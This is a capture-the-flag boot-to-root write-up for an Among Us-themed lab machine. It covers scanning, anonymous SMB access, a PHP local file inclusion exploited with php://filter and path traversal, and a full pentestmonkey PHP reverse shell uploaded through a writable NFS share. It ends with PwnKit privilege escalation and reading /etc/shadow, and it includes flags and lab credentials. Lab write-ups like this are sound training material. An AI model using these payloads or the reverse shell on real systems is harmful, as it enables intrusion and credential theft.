Amongus: Spectronas CTF 2026 B2R
Amongus B2R Writeup
NMAP report
# Nmap 7.98 scan initiated Sun Oct 4 20:47:39 2026 as: nmap -p- --min-rate 1000 -sV -sC --reason -oA nmap_report 192.168.56.103
Nmap scan report for 192.168.56.103
Host is up, received syn-ack (0.00015s latency).
Not shown: 65524 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 2.0.8 or later
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 15:e6:39:1f:d4:7e:73:f8:ce:c6:8b:8a:62:68:25:dc (RSA)
| 256 87:3d:ac:b5:02:ec:11:a1:f0:7e:94:c1:dd:14:f2:03 (ECDSA)
|_ 256 d9:f4:ac:fc:7e:56:ef:e7:50:1b:d0:44:9c:8d:11:bc (ED25519)
80/tcp open http syn-ack Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
111/tcp open rpcbind syn-ack 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 37017/tcp mountd
| 100005 1,2,3 44419/tcp6 mountd
| 100005 1,2,3 51227/udp mountd
| 100005 1,2,3 55171/udp6 mountd
| 100021 1,3,4 32865/tcp nlockmgr
| 100021 1,3,4 36969/tcp6 nlockmgr
| 100021 1,3,4 48477/udp6 nlockmgr
| 100021 1,3,4 57624/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
139/tcp open netbios-ssn syn-ack Samba smbd 4
445/tcp open netbios-ssn syn-ack Samba smbd 4
2049/tcp open nfs syn-ack 3-4 (RPC #100003)
32865/tcp open nlockmgr syn-ack 1-4 (RPC #100021)
37017/tcp open mountd syn-ack 1-3 (RPC #100005)
39659/tcp open mountd syn-ack 1-3 (RPC #100005)
44147/tcp open mountd syn-ack 1-3 (RPC #100005)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: AMONGUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time:
| date: 2026-10-04T15:17:50
|_ start_date: N/A
|_clock-skew: -2s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 4 20:47:55 2026 -- 1 IP address (1 host up) scanned in 16.69 seconds
I enumerated smb on the target and got a null session.....
cmd --> smbclient -L //192.168.56.103/ -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
noticeboard Disk
IPC$ IPC IPC Service (Skeld Emergency Storage Node)
SMB1 disabled -- no workgroup available
Connected to noticeboard and found a note.txt

note.txt

This clearly hints at brute forcing the ftp password.
I had no idea of the username yet so now i looked into the apache web server.
Also, the host was provided in the challenge description already as amongus.ctf

This was the home page.
The page linked to some other directories which lead to the different rooms of the skeld.
Every other room seemed okay except the engine.
At the /engine,

There seems that someone has been killed in the engine room.
Upon inspection of the html pages of the different endpoints,
I found several html comments throughout the website.
-- /cafeteria ---
<!--The emergency button isn't here. You need to call a meeting to discuss, but the comms seem to be on a different channel.-->
--- / ---
<!--find the aW1wb3N0ZXI=--> == decodes to "imposter"
--- /admin ---
<!--Y2FsbCB0aGUgZW1lcmdlbmN5IG1lZXRpbmc=--> == decodes to "call the emergency meeting"
--- /security ---
<!--"The Imposter has vented and can see things the crew cannot.-->
--- /weapons ---
<!--Weapons are for defense, but they can be used for offense.
IT HAD UNCLOSED COMMENTS
Ran ffuf for fuzzing webdirectories using usual lists but found nothing unusual.
Also ran ffuf for vhost fuzzing and found a meeting.amongus.ctf .
Inspected the Images directory and got some extra gifs of the imposter killing and an audio file called emergency.mp3.
I guessed that they have to be somewhere but i could not get the endpoint at first.
But after some enumeration I found the /imposter endpoint which led to those pages..

This page led to the same vhost meeting.amongus.ctf
URL : http://meeting.amongus.ctf/?vote=imposter
When enumerating through this vhost, found nothing important in the source code or any comments.
Then while tampering with the vote parameter, I got an error on
http://meeting.amongus.ctf/?vote=imposter'
Error:

You can see that the .php extension is added by default, which causes the problem in fetching the file.
By this time, we have got some specific file information
There are files named
imposter.php
index.php
Use php filter chain abuse to get the contents of these files
URL: http://meeting.amongus.ctf/?vote=php://filter/convert.base64-encode/resource=imposter
imposter.php
<div class="result-box">
<h1 class="impostor-text">NOT WHO YOU THOUGHT</h1>
<img src="Storage/kill<?php echo rand(1,8); ?>.gif" class="result-img">
</div>
When you go to fetch index.php using directly resource=index... It shows that only imposter is allowed there, so we use a directory traversal method to fetch the index.php while keeping the imposter in the text in parameter.
URL: http://meeting.amongus.ctf/?vote=php://filter/convert.base64-encode/resource=imposter/../index
index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Meeting</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<h1>Who Is The Impostor?</h1>
<div class="players">
<?php for($i=1; $i<=9; $i++): ?>
<div class="player-card">
<img src="Storage/crewmate<?php echo $i; ?>.png">
<a href="?vote=imposter" class="vote-btn">
<img src="Storage/Confirm.png" class="tick">
</a>
<a href="#" class="cancel-btn">
<img src="Storage/Cancel.png" class="tick">
</a>
</div>
<?php endfor; ?>
</div>
<div class="bottom">
<button class="skip">SKIP VOTE</button>
<div class="timer">Voting Ends In: 150s</div>
</div>
</div>
<br>
<div class="load">
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['vote'])) {
if(containsStr($_GET['vote'], 'imposter')) {
include $_GET['vote'] . $ext;
} else {
echo 'Only "imposter" allowed Here';
}
}
?>
</div>
<script>
const cards = document.querySelectorAll('.player-card');
cards.forEach(card => {
card.addEventListener('click', function() {
cards.forEach(c => c.classList.remove('active'));
this.classList.add('active');
});
});
</script>
</body>
</html>
After reading the index.php, we can null out the forced extension using the parameter ext=0...
Now we can fetch the /etc/passwd file giving LFI vulnerability.
URL: http://meeting.amongus.ctf/?vote=imposter/../../../../../../etc/passwd&ext=

So, we have got arbitary file read...
So, if we somehow can upload a shell to the server and fetch the file from there, we can get a webshell.
Now we enumerate the nfs shares, to see if there is anything for us to mount on...
showmount -e 192.168.56.103
Export list for 192.168.56.103:
/home/imposter/communication *
Inspecting further we can see that the folder is empty but writable, So we upload a shell.php there.
Uploaded shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.1';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>

Got the ssh creds from this file for the user imposter ..
$ cat s3cret.txt.bak
# Skeld Backup Configuration
# Last Modified: 2026-02-19
ssh_user=imposter
ssh_pass=TrustNo0ne
We get the user flag at /home/imposter/imposter1.txt
imposter1.txt
finally you eject one imposter:
HKSTR{v0t3_c4r3fully_0r_d13}
While checking the perms of the user, we get a binary called
/usr/bin/pkexec
This is a known CVE... PwnKit vulnerability (CVE-2021-4034)
I used this exploit: https://github.com/ly4k/PwnKit
Downloaded the binary and put the binary on the victim machine by opening a python server on my machine and wget-tting it there.
changed the perms of the pwnkit there and ran it, which gave us root..

/root/root.txt
Congratulations, Player.
If you are reading this, you’ve made it far — and earned it.
But remember… the flag does not reveal itself easily.
Look deeper.
It rests within the shadow file.
We look into the /etc/shadow and get the root flag there.
